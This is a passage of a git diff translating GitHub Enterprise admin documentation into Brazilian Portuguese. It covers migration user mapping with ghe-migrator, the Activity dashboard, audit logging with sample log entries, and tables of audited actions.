+Você pode gerar um arquivo em formato CSV dos usuários que estão sendo migrados para aplicar mapeamentos personalizados usando o comando [`ghe-migrator audit`](/enterprise/admin/guides/migrations/reviewing-migration-data):
 
 ```shell
 $ ghe-migrator audit -m user -g <em>MIGRATION_GUID</em> > users.csv
 ```
 
-Now, you can edit that CSV and enter the new URL for each user you would like to map or rename, and then update the fourth column to have `map` or `rename` as appropriate.
+Agora você pode editar esse CSV, inserir a nova URL para cada usuário que pretende mapear ou renomear e atualizar a quarta coluna para aplicar `map` ou `rename`.
 
-For example, to rename the user `octocat` to `monalisa` on the target `https://example-gh.target` you would create a row with the following content:
+Por exemplo, para renomear o usuário `octocat` como `monalisa` no destino `https://example-gh.target`, você deveria criar uma linha com o seguinte conteúdo:
 
-| `model_name`   | `source_url`   | `target_url` | `state` |
-|--------------|--------------|------------|--------------------|
-| `user`         | `https://example-gh.source/octocat` | `https://example-gh.target/monalisa` | `rename`
+| `nome_modelo` | `url_origem`                        | `url_destino`                        | `estado` |
+| ------------- | ----------------------------------- | ------------------------------------ | -------- |
+| `usuário`     | `https://exemplo-gh.source/octocat` | `https://exemplo-gh.target/monalisa` | `rename` |
 
-The same process can be used to create mappings for each record that supports custom mappings. For more information, see [our table on the possible mappings for records](/enterprise/admin/guides/migrations/reviewing-migration-conflicts#possible-mappings-for-each-record-type).
+O mesmo processo pode ser usado para criar mapeamentos em cada registro compatível com mapeamentos personalizados. Para obter mais informações, consulte a nossa [tabela com as possibilidades de mapeamento em registros](/enterprise/admin/guides/migrations/reviewing-migration-conflicts#possible-mappings-for-each-record-type).
 
-### Applying modified migration data
+### Aplicar dados de migração modificados
 
-1. After making changes, use the [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) command to apply your modified *conflicts.csv* (or any other mapping *.csv* file in the correct format) to the target instance:
+1. Depois de fazer as alterações, use o comando [`scp`](https://linuxacademy.com/blog/linux/ssh-and-scp-howto-tips-tricks#scp) para aplicar o seu *conflicts.csv* modificado (ou qualquer outro arquivo de mapeamento *.csv* no formato correto) para a instância de destino:
 
     ```shell
     $ scp -P 122 ~/Desktop/conflicts.csv admin@<em>hostname</em>:/home/admin/
     ```
 
-2. Re-map the migration data using the `ghe-migrator map` command, passing in the path to your modified *.csv* file and the Migration GUID:
+2. Mapeie novamente os dados de migração usando o comando `mapa do ghe-migrator`, passando pelo caminho para o seu arquivo *.csv* modificado e pelo GUID de Migração:
 
     ```shell
     $ ghe-migrator map -i conflicts.csv  -g <em>MIGRATION_GUID</em>
     ```
 
-3. If the `ghe-migrator map -i conflicts.csv  -g MIGRATION_GUID` command reports that conflicts still exist, run through the migration conflict resolution process again.
+3. Se o comando `ghe-migrator map -i conflicts.csv  -g MIGRATION_GUID` ainda reportar conflitos, execute o processo de resolução de conflitos de migração novamente.
diff --git a/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md b/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md
index edc50c6daa..ea16d5bfae 100644
--- a/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md
+++ b/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md
@@ -1,6 +1,6 @@
 ---
-title: Activity dashboard
-intro: The Activity dashboard gives you an overview of all the activity in your enterprise.
+title: Painel Atividade
+intro: O painel de atividades oferece uma visão geral de toda a atividade da sua empresa.
 redirect_from:
   - /enterprise/admin/articles/activity-dashboard
   - /enterprise/admin/installation/activity-dashboard
@@ -12,22 +12,21 @@ versions:
 topics:
   - Enterprise
 ---
-The Activity dashboard provides weekly, monthly, and yearly graphs of the number of:
-- New pull requests
-- Merged pull requests
-- New issues
-- Closed issues
-- New issue comments
-- New repositories
-- New user accounts
-- New organizations
-- New teams
 
-![Activity dashboard](/assets/images/enterprise/activity/activity-dashboard-yearly.png)
+O painel Atividade gera gráficos semanais, mensais e anuais informando o número de:
+- Novas pull requests;
+- Pull requests com merge;
+- Novos problemas;
+- Problemas encerrados;
+- Comentários de novos problemas;
+- Novos repositórios;
+- Novas contas de usuário;
+- Novas organizações;
+- Novas equipes.
 
-## Accessing the Activity dashboard
+![Painel Atividade](/assets/images/enterprise/activity/activity-dashboard-yearly.png)
 
-1. At the top of any page, click **Explore**.
-![Explore tab](/assets/images/enterprise/settings/ent-new-explore.png)
-2. In the upper-right corner, click **Activity**.
-![Activity button](/assets/images/enterprise/activity/activity-button.png)
+## Acessar o painel Atividade
+
+1. Na parte superior da página, clique em **Explore** (Explorar). ![Guia Explore (Explorar)](/assets/images/enterprise/settings/ent-new-explore.png)
+2. No canto superior direito da página, clique em **Activity** (Atividade). ![Botão Activity (Atividade)](/assets/images/enterprise/activity/activity-button.png)
diff --git a/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md b/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md
index 0b39b98872..eba01592f9 100644
--- a/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md
+++ b/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md
@@ -1,6 +1,6 @@
 ---
-title: Audit logging
-intro: '{% data variables.product.product_name %} keeps logs of audited{% ifversion ghes %} system,{% endif %} user, organization, and repository events. Logs are useful for debugging and internal and external compliance.'
+title: Gerar logs de auditoria
+intro: '{% data variables.product.product_name %} mantém registros de{% ifversion ghes %} sistema auditado,{% endif %} eventos de usuários, organização e repositórios. Os logs são úteis para fins de depuração e conformidade interna e externa.'
 redirect_from:
   - /enterprise/admin/articles/audit-logging
   - /enterprise/admin/installation/audit-logging
@@ -16,30 +16,31 @@ topics:
   - Logging
   - Security
 ---
-For a full list, see "[Audited actions](/admin/user-management/audited-actions)." For more information on finding a particular action, see "[Searching the audit log](/admin/user-management/searching-the-audit-log)."
 
-## Push logs
+Para obter uma lista completa, consulte "[Ações auditadas](/admin/user-management/audited-actions)". Para obter mais informações sobre como encontrar uma ação em particular, consulte "[Pesquisar no log de auditoria](/admin/user-management/searching-the-audit-log)".
 
-Every Git push operation is logged. For more information, see "[Viewing push logs](/admin/user-management/viewing-push-logs)."
+## Logs de push
+
+Todas as operações de push no Git têm um log. Para obter mais informações, consulte "[Visualizar logs de push](/admin/user-management/viewing-push-logs)".
 
 {% ifversion ghes %}
-## System events
+## Eventos do sistema
 
-All audited system events, including all pushes and pulls, are logged to `/var/log/github/audit.log`. Logs are automatically rotated every 24 hours and are retained for seven days.
+Todos os eventos auditados do sistema, inclusive pushes e pulls, são registrados em logs no caminho `/var/log/github/audit.log`. Os logs passam por rotação a cada 24 horas e ficam guardados por sete dias.
 
-The support bundle includes system logs. For more information, see "[Providing data to {% data variables.product.prodname_dotcom %} Support](/admin/enterprise-support/providing-data-to-github-support)."
+O pacote de suporte inclui logs de sistema. Para obter mais informações, consulte "[Fornecer dados para suporte de {% data variables.product.prodname_dotcom %}](/admin/enterprise-support/providing-data-to-github-support)."
 
-## Support bundles
+## Pacotes de suporte
 
-All audit information is logged to the `audit.log` file in the `github-logs` directory of any support bundle. If log forwarding is enabled, you can stream this data to an external syslog stream consumer such as [Splunk](http://www.splunk.com/) or [Logstash](http://logstash.net/). All entries from this log use and can be filtered with the `github_audit` keyword. For more information see "[Log forwarding](/admin/user-management/log-forwarding)."
+Todas as informações de auditoria são registradas no arquivo `audit.log`, no diretório `github-logs` de qualquer pacote de suporte. Se o encaminhamento de logs estiver habilitado, você poderá transmitir esses dados para um consumidor de fluxo de syslog externo, como o [Splunk](http://www.splunk.com/) ou o [Logstash](http://logstash.net/). Todas as entradas desse log usam a palavra-chave `github_audit` e podem ser filtradas por ela. Para obter mais informações, consulte "[Encaminhamento de registro](/admin/user-management/log-forwarding)".
 
-For example, this entry shows that a new repository was created.
+Por exemplo, esta entrada mostra que um repositório foi criado.
 
 ```
 Oct 26 01:42:08 github-ent github_audit: {:created_at=>1351215728326, :actor_ip=>"10.0.0.51", :data=>{}, :user=>"some-user", :repo=>"some-user/some-repository", :actor=>"some-user", :actor_id=>2, :user_id=>2, :action=>"repo.create", :repo_id=>1, :from=>"repositories#create"}
 ```
 
-This example shows that commits were pushed to a repository.
+Este exemplo mostra que houve push dos commits para um repositório.
 
 ```
 Oct 26 02:19:31 github-ent github_audit: { "pid":22860, "ppid":22859, "program":"receive-pack", "git_dir":"/data/repositories/some-user/some-repository.git", "hostname":"github-ent", "pusher":"some-user", "real_ip":"10.0.0.51", "user_agent":"git/1.7.10.4", "repo_id":1, "repo_name":"some-user/some-repository", "transaction_id":"b031b7dc7043c87323a75f7a92092ef1456e5fbaef995c68", "frontend_ppid":1, "repo_public":true, "user_name":"some-user", "user_login":"some-user", "frontend_pid":18238, "frontend":"github-ent", "user_email":"some-user@github.example.com", "user_id":2, "pgroup":"github-ent_22860", "status":"post_receive_hook", "features":" report-status side-band-64k", "received_objects":3, "receive_pack_size":243, "non_fast_forward":false, "current_ref":"refs/heads/main" }
diff --git a/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md b/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md
index 87a3c98508..0ee8765e78 100644
--- a/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md
+++ b/translations/pt-BR/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Audited actions
-intro: You can search the audit log for a wide variety of actions.
+title: Ações auditadas
+intro: Você pode pesquisar uma série de ações no log de auditoria.
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /enterprise/admin/articles/audited-actions
@@ -17,27 +17,20 @@ topics:
   - Security
 ---
 
-## Authentication
+## Autenticação
 
-Action                               | Description
------------------------------------- | ----------------------------------------
-`oauth_access.create`                | An [OAuth access token][] was [generated][generate token] for a user account.
-`oauth_access.destroy`               | An [OAuth access token][] was deleted from a user account.
-`oauth_application.destroy`          | An [OAuth application][] was deleted from a user or organization account.
-`oauth_application.reset_secret`     | An [OAuth application][]'s secret key was reset.
-`oauth_application.transfer`         | An [OAuth application][] was transferred from one user or organization account to another.
-`public_key.create`                  | An SSH key was [added][add key] to a user account or a [deploy key][] was added to a repository.
-`public_key.delete`                  | An SSH key was removed from a user account or a [deploy key][] was removed from a repository.
-`public_key.update`                  | A user account's SSH key or a repository's [deploy key][] was updated.{% ifversion ghes %}
-`two_factor_authentication.enabled`  | [Two-factor authentication][2fa] was enabled for a user account.
-`two_factor_authentication.disabled` | [Two-factor authentication][2fa] was disabled for a user account.{% endif %}
-
-  [add key]: /articles/adding-a-new-ssh-key-to-your-github-account
-  [deploy key]: /guides/managing-deploy-keys/#deploy-keys
-  [generate token]: /articles/creating-an-access-token-for-command-line-use
-  [OAuth access token]: /developers/apps/authorizing-oauth-apps
-  [OAuth application]: /guides/basics-of-authentication/#registering-your-app
-  [2fa]: /articles/about-two-factor-authentication
+| Ação                                 | Descrição                                                                                                                     |
+| ------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------- |
+| `oauth_access.create`                | Um [token de acesso OAuth][] foi [gerado][generate token] para uma conta de usuário.                                          |
+| `oauth_access.destroy`               | Um [token de acesso OAuth][] foi excluído de uma conta de usuário.                                                            |
+| `oauth_application.destroy`          | Um [aplicativo OAuth][] foi excluído de uma organização ou conta de usuário.                                                  |
+| `oauth_application.reset_secret`     | A chave secreta de um [aplicativo OAuth][] foi redefinida.                                                                    |
+| `oauth_application.transfer`         | Um [aplicativo OAuth][] foi transferido de uma organização ou conta de usuário para outra.                                    |
+| `public_key.create`                  | Uma chave SSH foi [adicionada][add key] a uma conta de usuário ou uma [chave de implantação][] foi adicionada ao repositório. |
+| `public_key.delete`                  | Uma chave SSH foi removida de uma conta de usuário ou uma [chave de implantação][] foi removida de um repositório.            |
+| `public_key.update`                  | A chave SSH de uma conta de usuário ou a [chave de implantação de um repositório][] foi atualizada.{% ifversion ghes %}
+| `two_factor_authentication.enabled`  | A [autenticação de dois fatores][2fa] foi habilitada para uma conta de usuário.                                               |
+| `two_factor_authentication.disabled` | [A autenticação de dois fatores][2fa] foi desabilitada para uma conta de usuário.{% endif %}
 
 {% ifversion ghes %}
 ## {% data variables.product.prodname_actions %}
@@ -48,157 +41,150 @@ Action                               | Description
 
 ## Hooks
 
-Action                            | Description
---------------------------------- | -------------------------------------------
-`hook.create`                     | A new hook was added to a repository.
-`hook.config_changed`             | A hook's configuration was changed.
-`hook.destroy`                    | A hook was deleted.
-`hook.events_changed`             | A hook's configured events were changed.
+| Ação                  | Descrição                                           |
+| --------------------- | --------------------------------------------------- |
+| `hook.create`         | Um novo hook foi adicionado ao repositório.         |
+| `hook.config_changed` | A configuração de um hook foi alterada.             |
+| `hook.destroy`        | Um hook foi excluído.                               |
+| `hook.events_changed` | Os eventos configurados de um hook foram alterados. |
 
-## Enterprise configuration settings
+## Configurações da empresa
 
-Action                                          | Description
------------------------------------------------ | -------------------------------------------{% ifversion ghes > 3.0 or ghae %}
-`business.advanced_security_policy_update` | A site admin creates, updates, or removes a policy for {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)."{% endif %}
-`business.clear_members_can_create_repos` | A site admin clears a restriction on repository creation in organizations in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% ifversion ghes > 3.1 %}
-`business.referrer_override_enable` | A site admin enables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)."
-`business.referrer_override_disable` | A site admin disables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)."{% endif %}
-`business.update_member_repository_creation_permission` | A site admin restricts repository creation in organizations in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% ifversion ghes %}
-`enterprise.config.lock_anonymous_git_access`   | A site admin locks anonymous Git read access to prevent repository admins from changing existing anonymous Git read access settings for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)."
-`enterprise.config.unlock_anonymous_git_access` | A site admin unlocks anonymous Git read access to allow repository admins to change existing anonymous Git read access settings for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)."{% endif %}
+| Ação                                                    | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| ------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion ghes > 3.0 or ghae %}
+| `business.advanced_security_policy_update`              | Um administrador do site cria, atualiza ou remove uma política para {% data variables.product.prodname_GH_advanced_security %}. Para obter mais informações, consulte "[Aplicar políticas para {% data variables.product.prodname_advanced_security %} na sua empresa](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)".{% endif %}
+| `business.clear_members_can_create_repos`               | Um administrador do site elimina uma restrição de criação de repositórios em organizações da empresa. Para obter mais informações, consulte "[Aplicar políticas de gerenciamento do repositório na sua empresa](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)".{% ifversion ghes > 3.1 %}
+| `business.referrer_override_enable`                     | Um administrador do site habilita a substituição da política de indicação. Para obter mais informações, consulte "[Configurando a política de indicação para sua empresa](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)".                                                                                                                                                                             |
+| `business.referrer_override_disable`                    | O administrador de um site desabilita a substituição de política de indicação. Para obter mais informações, consulte "[Configurando a política de indicação para sua empresa](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)".{% endif %}
+| `business.update_member_repository_creation_permission` | Um administrador do site restringe a criação de repositórios em organizações da empresa. Para obter mais informações, consulte "[Aplicar políticas de gerenciamento do repositório na sua empresa](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)".{% ifversion ghes %}
+| `enterprise.config.lock_anonymous_git_access`           | Um administrador do site bloqueia acessos de leitura anônimos do Git para impedir que os administradores do repositório alterem as configurações de acessos de leitura anônimos do Git existentes nos repositórios da empresa. Para obter mais informações, consulte "[Aplicar políticas de gerenciamento do repositório na sua empresa](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)". |
+| `enterprise.config.unlock_anonymous_git_access`         | Um administrador do site desbloqueia acessos de leitura anônimos do Git para permitir que administradores alterem as configurações de acessos de leitura anônimos do Git existentes nos repositórios da empresa. Para obter mais informações, consulte "[Aplicar políticas de gerenciamento do repositório na sua empresa](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)".{% endif %}
 
 {% ifversion ghae %}
 
-## IP allow lists
+## Listas de permissão de IP
 
-Name                                 | Description
-------------------------------------:| -----------------------------------------------------------
-`ip_allow_list_entry.create`         | An IP address was added to an IP allow list.
-`ip_allow_list_entry.update`         | An IP address or its description was changed.
-`ip_allow_list_entry.destroy`        | An IP address was deleted from an IP allow list.
-`ip_allow_list.enable`               | An IP allow list was enabled.
-`ip_allow_list.enable_for_installed_apps` | An IP allow list was enabled for installed {% data variables.product.prodname_github_apps %}.
-`ip_allow_list.disable`              | An IP allow list was disabled.
-`ip_allow_list.disable_for_installed_apps` | An IP allow list was disabled for installed {% data variables.product.prodname_github_apps %}.
+|                                       Nome | Descrição                                                                                                              |
+| ------------------------------------------:| ---------------------------------------------------------------------------------------------------------------------- |
+|               `ip_allow_list_entry.create` | Um endereço IP foi adicionado a uma lista de permissão do IP.                                                          |
+|               `ip_allow_list_entry.update` | Um endereço IP ou sua descrição foi alterada.                                                                          |
+|              `ip_allow_list_entry.destroy` | Um endereço IP foi excluído de uma lista de permissões de IP.                                                          |
+|                     `ip_allow_list.enable` | Uma lista de permissões de IP foi habilitada.                                                                          |
+|  `ip_allow_list.enable_for_installed_apps` | Uma lista de permissões de IP foi habilitada para a instalação de {% data variables.product.prodname_github_apps %}. |
+|                    `ip_allow_list.disable` | Uma lista de permissões do IP foi desabilitada.                                                                        |
+| `ip_allow_list.disable_for_installed_apps` | Uma lista de permissões de IP foi desabilitada para o {% data variables.product.prodname_github_apps %} instalado.   |
 
 {% endif %}
 
-## Issues
+## Problemas
 
-Action                               | Description
------------------------------------- | -----------------------------------------------------------
-`issue.update`                       | An issue's body text (initial comment) changed.
-`issue_comment.update`               | A comment on an issue (other than the initial one) changed.
-`issue.destroy`                      | An issue was deleted from the repository. For more information, see "[Deleting an issue](/github/managing-your-work-on-github/deleting-an-issue)."
+| Ação                   | Descrição                                                                                                                                                        |
+| ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `issue.update`         | O texto de um problema (comentário inicial) foi alterado.                                                                                                        |
+| `issue_comment.update` | Um comentário em um problema (que não seja o inicial) foi alterado.                                                                                              |
+| `issue.destroy`        | Um problema foi excluído do repositório. Para obter mais informações, consulte "[Excluir uma problema](/github/managing-your-work-on-github/deleting-an-issue)". |
 
-## Organizations
+## Organizações
 
-Action             | Description
------------------- | ----------------------------------------------------------
-`org.async_delete` | A user initiated a background job to delete an organization.
-`org.delete`       | An organization was deleted by a user-initiated background job.{% ifversion not ghae %}
-`org.transform`    | A user account was converted into an organization. For more information, see "[Converting a user into an organization](/github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization)."{% endif %}
+| Ação               | Descrição                                                                                                                                                                                                                                        |
+| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `org.async_delete` | Um usuário iniciou um trabalho em segundo plano para excluir uma organização.                                                                                                                                                                    |
+| `org.delete`       | Uma organização foi excluída por um trabalho de segundo plano iniciado pelo usuário.{% ifversion not ghae %}
+| `org.transform`    | A conta de usuário foi convertida em organização. Para obter mais informações, consulte "[Converter um usuário em uma organização](/github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization)."{% endif %}
 
 ## Pull requests
 
-| Action | Description |
-| :- | :- |{% ifversion ghes > 3.1 or ghae %}
-| `pull_request.create` | A pull request was created. For more information, see "[Creating a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request)." |
-| `pull_request.close` | A pull request was closed without being merged. For more information, see "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)." |
-| `pull_request.reopen` | A pull request was reopened after previously being closed. |
-| `pull_request.merge` | A pull request was merged. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)." |
-| `pull_request.indirect_merge` | A pull request was considered merged because the pull request's commits were merged into the target branch. |
-| `pull_request.ready_for_review` | A pull request was marked as ready for review. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#marking-a-pull-request-as-ready-for-review)." |
-| `pull_request.converted_to_draft` | A pull request was converted to a draft. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#converting-a-pull-request-to-a-draft)." |
-| `pull_request.create_review_request` | A review was requested on a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." |
-| `pull_request.remove_review_request` | A review request was removed from a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." |
-| `pull_request_review.submit` | A review was submitted for a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." |
-| `pull_request_review.dismiss` | A review on a pull request was dismissed. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)." |
-| `pull_request_review.delete` | A review on a pull request was deleted. |
-| `pull_request_review_comment.create` | A review comment was added to a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." |
-| `pull_request_review_comment.update` | A review comment on a pull request was changed. |{% endif %}
-| `pull_request_review_comment.delete` | A review comment on a pull request was deleted. |
+| Ação | Descrição | | :- | :- |{% ifversion ghes > 3.1 or ghae %} | `pull_request.create` | Um pull request foi criado. Para obter mais informações, consulte "[Criar uma pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request)." | | `pull_request.close` | Um pull request foi fechado sem fazer merge. Para obter mais informações, consulte "[Fechar um pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)". | | `pull_request.reopen` | Um pull request foi reaberto após ter sido fechado anteriormente. | | `pull_request.merge` | Um pull request foi mesclado. Para obter mais informações, consulte "[Fazer merge de uma pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)". | | `pull_request.indirect_merge` | Um pull request foi considerado como merge, porque os commits do pull request foram mesclados no branch de destino. | | `pull_request.ready_for_review` | Um pull request foi mercado como pronto para revisão. Para obter mais informações, consulte "[Alterar o stage de um pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#marking-a-pull-request-as-ready-for-review)". | | `pull_request.converted_to_draft` | Um pull request foi convertido em rascunho. Para obter mais informações, consulte "[Alterar o stage de um pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#converting-a-pull-request-to-a-draft)". | | `pull_request.create_review_request` | Uma revisão foi solicitada em um pull request. Para obter mais informações, consulte "[Sobre merges do pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)". | | `pull_request.remove_review_request` | Uma solicitação de revisão foi removida de um pull request. Para obter mais informações, consulte "[Sobre merges do pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)". | | `pull_request_review.submit` | Uma revisão foi enviada para um pull request. Para obter mais informações, consulte "[Sobre merges do pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)". | | `pull_request_review.dismiss` | Uma revisão em um pull request foi ignorada. Para obter mais informações, consulte "[Ignorar uma revisão de pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)". | | `pull_request_review.delete` | Uma revisão em um pull request foi excluída. | | `pull_request_review_comment.create` | O comentário de uma revisão foi adicionado a um ull request. Para obter mais informações, consulte "[Sobre merges do pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)". | | `pull_request_review_comment.update` | O comentário de uma revisão em um pull request foi alterado. |{% endif %} | `pull_request_review_comment.delete` | O comentário de uma revisão em um pull request foi excluído. |
 
-## Protected branches
+## Branches protegidos
 
-Action                     | Description
--------------------------- | ----------------------------------------------------------
-`protected_branch.create ` | Branch protection is enabled on a branch.
-`protected_branch.destroy` | Branch protection is disabled on a branch.
-`protected_branch.update_admin_enforced `            | Branch protection is enforced for repository administrators.
-`protected_branch.update_require_code_owner_review ` | Enforcement of required code owner review is updated on a branch.
-`protected_branch.dismiss_stale_reviews `   | Enforcement of dismissing stale pull requests is updated on a branch.
-`protected_branch.update_signature_requirement_enforcement_level `    | Enforcement of required commit signing is updated on a branch.
-`protected_branch.update_pull_request_reviews_enforcement_level `     | Enforcement of required pull request reviews is updated on a branch.
-`protected_branch.update_required_status_checks_enforcement_level `   | Enforcement of required status checks is updated on a branch.
-`protected_branch.rejected_ref_update `     | A branch update attempt is rejected.
-`protected_branch.policy_override `         | A branch protection requirement is overridden by a repository administrator.
+| Ação                                                               | Descrição                                                                                                                                     |
+| ------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------- |
+| `protected_branch.create`                                          | A proteção do branch está habilitada em um branch.                                                                                            |
+| `protected_branch.destroy`                                         | A proteção do branch está desabilitada em um branch.                                                                                          |
+| `protected_branch.update_admin_enforced`                           | A proteção do branch é exigida para os administradores do repositório.                                                                        |
+| `protected_branch.update_require_code_owner_review`                | A execução da revisão necessária do código do proprietário foi atualizada em um branch.                                                       |
+| `protected_branch.dismiss_stale_reviews`                           | A exigência de ignorar pull requests obsoletas é atualizada em um branch.                                                                     |
+| `protected_branch.update_signature_requirement_enforcement_level`  | A exigência de assinatura de commit obrigatória é atualizada em um branch.                                                                    |
+| `protected_branch.update_pull_request_reviews_enforcement_level`   | A exigência de revisões obrigatórias de pull request é atualizada em um branch. Pode ser `0`(desativado), `1`(não administrador), `2`(todos). |
+| `protected_branch.update_required_status_checks_enforcement_level` | A exigência de verificações de status obrigatórias é atualizada em um branch.                                                                 |
+| `protected_branch.rejected_ref_update`                             | Uma tentativa de atualização do branch é rejeitada.                                                                                           |
+| `protected_branch.policy_override`                                 | Um requisito de proteção do branch é sobrescrito por um administrador do repositório.                                                         |
 
-## Repositories
+## Repositórios
 
-Action                | Description
---------------------- | -------------------------------------------------------
-`repo.access`         | The visibility of a repository changed to private{% ifversion ghes %}, public,{% endif %} or internal.
-`repo.archived`       | A repository was archived. For more information, see "[Archiving a {% data variables.product.prodname_dotcom %} repository](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)."
-`repo.add_member`     | A collaborator was added to a repository.
-`repo.config`         | A site admin blocked force pushes. For more information, see [Blocking force pushes to a repository](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) to a repository.
-`repo.create`         | A repository was created.
-`repo.destroy`        | A repository was deleted.
-`repo.remove_member`  | A collaborator was removed from a repository.
-`repo.rename`         | A repository was renamed.
-`repo.transfer`       | A user accepted a request to receive a transferred repository.
-`repo.transfer_start` | A user sent a request to transfer a repository to another user or organization.
-`repo.unarchived`     | A repository was unarchived. For more information, see "[Archiving a {% data variables.product.prodname_dotcom %} repository](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)."{% ifversion ghes %}
-`repo.config.disable_anonymous_git_access`| Anonymous Git read access is disabled for a repository. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)."
-`repo.config.enable_anonymous_git_access` | Anonymous Git read access is enabled for a repository. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)."
-`repo.config.lock_anonymous_git_access` | A repository's anonymous Git read access setting is locked, preventing repository administrators from changing (enabling or disabling) this setting. For more information, see "[Preventing users from changing anonymous Git read access](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)."
-`repo.config.unlock_anonymous_git_access` | A repository's anonymous Git read access setting is unlocked, allowing repository administrators to change (enable or disable) this setting. For more information, see "[Preventing users from changing anonymous Git read access](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)."{% endif %}
